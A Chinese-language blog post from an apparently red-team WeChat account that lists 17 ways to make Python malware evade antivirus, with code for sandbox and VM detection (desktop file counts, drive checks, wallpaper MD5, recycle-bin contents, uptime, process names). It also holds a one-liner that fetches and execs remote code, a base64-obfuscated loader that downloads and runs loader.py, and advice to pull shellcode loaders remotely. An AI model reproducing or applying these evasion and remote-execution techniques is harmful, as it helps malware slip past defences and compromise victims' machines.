小王问我python怎么免杀,我沉默了......

关注本公众号,长期推送技术文章

知攻善防实验室

红蓝对抗,Web渗透测试,红队攻击,蓝队防守,内网渗透,漏洞分析,漏洞原理,开源 工具,社工钓鱼,网络安全。

73篇原创内容

公众号

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!

思路整理

整理了自己用过的免杀思路,只提供思路。

  1. 通过桌面文件数量判断是否为虚拟机

import os
# 获取当前用户的桌面路径desktop_path = os.path.join(os.path.join(os.environ['USERPROFILE']), 'Desktop')
# 获取桌面上的文件和文件夹列表items = os.listdir(desktop_path)
# 统计桌面上的文件数量(不包括文件夹)file_count = 0for item in items:    if os.path.isfile(os.path.join(desktop_path, item)):        file_count += 1
# 检查文件数量是否大于5if file_count > 5:    print("条件成立")else:    print("条件不成立")

2.通过判断盘符是否为虚拟机(有的虚拟机可能只有一个盘符)

import os
# 检查D:驱动器是否存在if os.path.exists('D:/'):    print("D:驱动器存在。")else:    print("D:驱动器不存在。")

3.通过获取D盘使用率来判断是否为虚拟机

import os
# 指定D盘的根目录路径drive_path = 'D:/'
# 确保驱动器存在if os.path.exists(drive_path):    # 获取D盘根目录下的所有项    items = os.listdir(drive_path)    # 计算文件夹的数量    folder_count = sum(1 for item in items if os.path.isdir(os.path.join(drive_path, item)))    # 判断文件夹数量是否超过5个    if folder_count > 5:        print("条件成立")    else:        print("条件不成立")else:    print("D盘不存在。")

4.在脚本中插入正常功能,比如计算pai的多少位。。

from mpmath import mp
# 设置所需的精度(位数)digits = 100000
# 设置mpmath的精度(位数)mp.dps = digits  # dps是decimal places(小数位)
# 计算圆周率pi = mp.pi
# 打印圆周率的前10万位print(str(pi))

5.我相信,当下微信、浏览器、等程序已经成了必不可缺的,那么就可以获取当前系统所有进程名,判断是否有指定进行,实现人机区分

​​​​​​​

import psutil
# 列出所有当前运行的进程名称process_names = [proc.name() for proc in psutil.process_iter(['name'])]
# 检查是否有qq.exe和edge.exeqq_exists = 'qq.exe' in process_namesedge_exists = 'edge.exe' in process_names
print(f"QQ.exe {'存在' if qq_exists else '不存在'}")print(f"Edge.exe {'存在' if edge_exists else '不存在'}")

6.多层逻辑包含,使劲叠加if

这个。。。。就不实例了

7.获取开机时常,判断是否为虚拟机

import psutilimport datetime
boot_time = psutil.boot_time()current_time = datetime.datetime.now().timestamp()uptime = current_time - boot_timeuptime = datetime.timedelta(seconds=uptime)
print("计算机开机时长:", uptime)

8.多层嵌套import(比如用a文件去import b,b去import c)

import b

9.进行数学逻辑计算

网安?原神?免杀WebShell?啊啊啊??

10.使用小众语言,越小众越好

这个也不示例了

11.使用python的特性,代码后面加";"可以多行代码在一行执行

import requests;res = requests.get("https://www.baidu.com");exec(res.text)

12.exec执行的不要太明显

def decode_base64(encoded_str):    # 对base64字符串解码    decoded_bytes = base64.b64decode(encoded_str)        # 将bytes转换为字符串    decoded_str = decoded_bytes.decode('utf-8')        return decoded_strcode = decode_base64("c2hlbGxjb2RlID0gcmVxdWVzdHMuZ2V0KCJodHRwOi8vMTI3LjAuMC4xOjYwMDEvbG9hZGVyLnB5Iik7ZXhlYyhzaGVsbGNvZGUudGV4dCk=")

13.建议写一套自己的编码系统,比如,之前写过的玛卡巴卡免杀

爆改自用免杀2.0-绕过主流杀软机制

14.实在窘迫,就半自动免杀,杀软只检查你程序启动的一刻,并不会全程检查你的程序,做个GUI程序,点击上线。

15.有一些云沙箱的桌面壁纸是固定的,那么可以获取桌面壁纸的md5,判断是否为沙箱

import ctypesimport hashlibfrom ctypes import wintypes
# 定义Windows API调用SPI_GETDESKWALLPAPER = 0x0073MAX_PATH = 260
# 获取当前桌面壁纸路径def get_wallpaper_path():    buf = ctypes.create_unicode_buffer(MAX_PATH)    ctypes.windll.user32.SystemParametersInfoW(SPI_GETDESKWALLPAPER, MAX_PATH, buf, 0)    return buf.value
# 计算文件的MD5哈希值def calculate_md5(file_path):    hash_md5 = hashlib.md5()    with open(file_path, "rb") as f:        for chunk in iter(lambda: f.read(4096), b""):            hash_md5.update(chunk)    return hash_md5.hexdigest()
# 获取桌面壁纸文件路径wallpaper_path = get_wallpaper_path()
# 计算并打印MD5哈希值wallpaper_md5 = calculate_md5(wallpaper_path)print(f"当前桌面壁纸的路径为: {wallpaper_path}")print(f"当前桌面壁纸的MD5为: {wallpaper_md5}")

16.通过检查回收站是否含有垃圾烂判断是否为真机操作

我还是觉得,大部分人没有清理回收站的习惯

​​​​​​​

import ctypes
# 定义 SHQUERYRBINFO 结构体,对应于WIN32的结构class SHQUERYRBINFO(ctypes.Structure):    _fields_ = [("cbSize", ctypes.c_ulong),                ("i64Size", ctypes.c_longlong),                ("i64NumItems", ctypes.c_longlong)]
def check_recycle_bin():    # 创建 SHQUERYRBINFO 结构体实例    query_info = SHQUERYRBINFO(cbSize=ctypes.sizeof(SHQUERYRBINFO))        # 调用 Windows API 函数 SHQueryRecycleBinW 获取回收站信息    res = ctypes.windll.shell32.SHQueryRecycleBinW(None, ctypes.byref(query_info))        # 检查函数调用是否成功    if res == 0:        # 如果回收站大小不为0,说明回收站中有文件        if query_info.i64Size > 0:            print(f"回收站有垃圾,大小为: {query_info.i64Size}字节")        else:            print("回收站是空的。")    else:        # 如果出错了,可以根据返回的错误码来确定错误的类型        print(f"获取回收站信息失败,错误码: {res}")
# 执行检查check_recycle_bin()

17.分离免杀,调用http服务远程下载shellcode加载器

因为shellcode加载器是一段硬性特征,所以采用远程下载。

先写到这里吧,这以上是我用过的所有手段了,以后有机会再更新。

关注公众号“知攻善防实验室”长期获取技术文章

  • 10
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值